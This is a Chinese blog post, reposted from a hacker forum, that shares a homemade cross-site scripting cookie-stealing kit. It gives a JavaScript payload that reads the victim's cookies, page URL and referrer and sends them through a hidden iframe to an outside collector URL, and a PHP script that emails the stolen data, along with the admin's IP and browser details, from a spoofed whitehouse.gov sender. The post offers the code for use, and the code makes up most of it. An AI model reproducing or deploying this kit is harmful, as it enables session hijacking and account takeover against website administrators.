最新消息:

自己弄了个跨站代码

PHP admin 1894浏览 0评论

只要支持PHP的空间都可以用,很久以前用的挺顺手,发出来分享一下,大牛别喷!
弄这个东西的时候还没怎么接触过PHP,在网上查各种相关资料东拼西凑做出来的,要是有人有更好的方法,也欢迎指出~

Cookie.php (注意,服务器必须支持mail函数,大部分的Linux主机应该是支持的)

<?php
include(“getinfo.php”);
header(“Content-type: text/html; charset=utf-8”);
$address=$_GET[‘add’];
$cookie=$_GET[‘cookie’];
$refere=$_GET[‘refere’];
$_date=$_GET[‘date’];
$ua=$_SERVER[‘HTTP_USER_AGENT’];
if (empty($refere))
{
$refere=$_SERVER[‘HTTP_REFERER’];
}
$fakefrom=’webmaster@whitehouse.gov’;
$to = ‘XXX@qq.com’;
$title=’You Have Got An Fresh Cookie!!’;
$message=”This Cookie is from “.$address.”\n\nIt is : “.$cookie.”\n\nAdmin is from “.$refere.” \n\niTime is “.$_date.”\n\nAdmin IP  is : “.GetIP().”\n\nUser-Agent: “.$ua.”\n\nAdmin System: “.GetOS();

mail($to,$title,$message,”From: $fakefrom”);
?>

Getinfo.php 用于获取客户端信息,包括IP,浏览器类型和操作系统。

var myDate = new Date();
myDate.getYear();
myDate.getFullYear();
myDate.getMonth();
myDate.getDate();
myDate.getDay();
myDate.getTime()
myDate.getHours();
myDate.getMinutes();
myDate.getSeconds();
myDate.getMilliseconds();
myDate.toLocaleDateString();
var mytime=myDate.toLocaleTimeString();
var str=escape(window.location.href);
cv=escape(document.cookie);
re=escape(document.referrer);

function f()
{
ifm=document.createElement(“IFRAME”);
document.body.appendChild(ifm);
ifm.width=0;
ifm.height=0;

ifm.src=”http://www.xxx.net/ask/cookie.php?add=”+str+”&cookie=”+cv+”&refere=”+re+”&date=”+myDate.toLocaleString( )+””;
}
setTimeout(f,”1000″);

name.js 直接用<script src>来调用,同时可以获取时间。

var myDate = new Date();
myDate.getYear();
myDate.getFullYear();
myDate.getMonth();
myDate.getDate();
myDate.getDay();
myDate.getTime()
myDate.getHours();
myDate.getMinutes();
myDate.getSeconds();
myDate.getMilliseconds();
myDate.toLocaleDateString();
var mytime=myDate.toLocaleTimeString();
var str=escape(window.location.href);
cv=escape(document.cookie);
re=escape(document.referrer);

function f()
{
ifm=document.createElement(“IFRAME”);
document.body.appendChild(ifm);
ifm.width=0;
ifm.height=0;

ifm.src=”http://www.xxx.net/ask/cookie.php?add=”+str+”&cookie=”+cv+”&refere=”+re+”&date=”+myDate.toLocaleString( )+””;
}
setTimeout(f,”1000″);

邮件发过来效果如图:
214957iai6oog40i333o0w
转自:http://bbs.blackbap.org/thread-5632-1-1.html

转载请注明:jinglingshu的博客 » 自己弄了个跨站代码

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址